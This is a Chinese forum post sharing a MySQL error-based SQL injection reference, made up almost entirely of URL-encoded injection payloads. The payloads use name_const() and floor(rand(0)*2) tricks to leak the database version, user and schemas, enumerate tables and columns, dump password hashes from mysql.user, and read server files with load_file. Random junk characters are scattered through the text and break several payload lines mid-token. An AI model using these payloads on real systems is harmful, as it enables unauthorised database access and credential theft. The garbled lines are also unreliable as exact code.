找回密码
 立即注册
查看: 2841|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
* P& I5 c' T' B1 s. C% E, l5 u0 T- n7 S  d3 F( l5 W" A& e% D

. ]% _2 v7 a; i  y9 qMysql暴错注入参考(pdf),每天一贴。。。4 t3 _+ ^1 v  P* X

/ z1 F8 S, K# z5 M8 e3 VMySql Error Based Injection Reference
' G& n9 c. K$ A, K: o[Mysql暴错注入参考]* s5 F8 L, \9 c$ Y6 |+ e
Authornig0s1992
6 A8 y" T3 J9 lBlog:http://pnig0s1992.blog.51cto.com/
# q6 G$ ~9 k# z/ J0 c: R* @- XTeAm:http://www.FreeBuf.com/
# w" y- M7 Q4 j3 O; L9 Y& x# xMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
( f6 g' E# l% Q+ O7 q0 p小部分版本使用name_const()时会报错.可以用给出的Method.2测试1 Z- K  c, w) v8 b" k8 n: v
查询版本:
: [% O# K2 E* o5 x: eMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
: S% H5 y. N8 q# C) E' Ojoin+(select+name_const(@@version,0))b)c)0 f0 v8 I$ M' R7 I. F# H+ V+ [
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro6 q$ `9 F0 F7 Z& H
up by a)b)
' ~; \$ h" Q+ h/ b) I; I查询当前用户:$ z$ M! R2 p6 G0 J+ J( j
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
$ m6 N! g& I, D; ]Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
9 ]5 |1 T+ v+ a5 B; J- H% Pand(0)*2))x+from+information_schema.tables+group+by+x)a)
- k% b7 x5 k0 s; V- q% P; ]' p9 w查询当前数据库:
1 t" q+ i- F- H1 \& a( k/ e) eMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)' E: b; C! x. P; ^- u) D  C* }
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
) K( F" B9 R2 x& Q7 \or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)9 T5 _$ T, y3 J8 `" M
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+4 {5 N; Z: O, X; b2 \7 u7 r
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
. v: |' P& L8 v顺序替换
4 _/ ~8 B4 W9 k/ G" c7 b爆指定库数目:& |. o/ q7 F0 o) S5 h$ i
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t+ B7 f. l5 z/ H& n
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
. R5 F* ~+ t7 E' B1 J) @+by+x)a)+and+1=1 0x6D7973716C=mysql/ N- u' q2 }0 e$ D6 o
依次爆表:7 o3 K" w, R/ o( L3 X7 ~. G3 d" _
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t- O6 C7 D# ~2 e6 j1 m9 F
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta: K( _% m8 n! |7 w1 _
bles+group+by+x)a)+and+1=1
/ s4 Z( {% X( R/ s( ?* r& ^1 U/ }2 B( w0x6D7973716C=Mysql 将n顺序替换
0 _3 A5 Q3 d0 G# r爆表内字段数目:
$ _6 B! q& G" v; V+ c" [# xand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE  U! E: n7 m3 K. A7 O* Z- i
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
. g' y' S) n- g0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
; P3 E+ f2 l9 c; A依次爆字段:
: @7 s3 Y! \  H1 R: t$ V+ Land+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
) i" G* G* H8 q* B' i8 F, i7 d+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
# n5 S% z7 Y8 I3 ~4 T, @loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换3 O8 [3 C" F9 g' F
依次暴内容:: r& U+ J% b: G; a/ w
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
) q6 b7 s1 b9 Z- zma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=15 ]+ q( V( b! w
将n顺序替换
6 Y$ z9 n' I2 w爆文件内容:
) ?1 Z& ^; P% h/ yand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
- o/ d% |: @- ifrom+information_schema.tables+group+by+a)b) ' P/ z  H( d- C$ S
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节. Q/ ^# |( P2 a0 }- s. e
Thx for reading./ |2 I% o) q6 o& h9 y4 g4 _
1 K  m2 a# e" }: h" _0 V
不要下载也可以,
1 t8 Y7 P" e  R( @' P, L& k

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表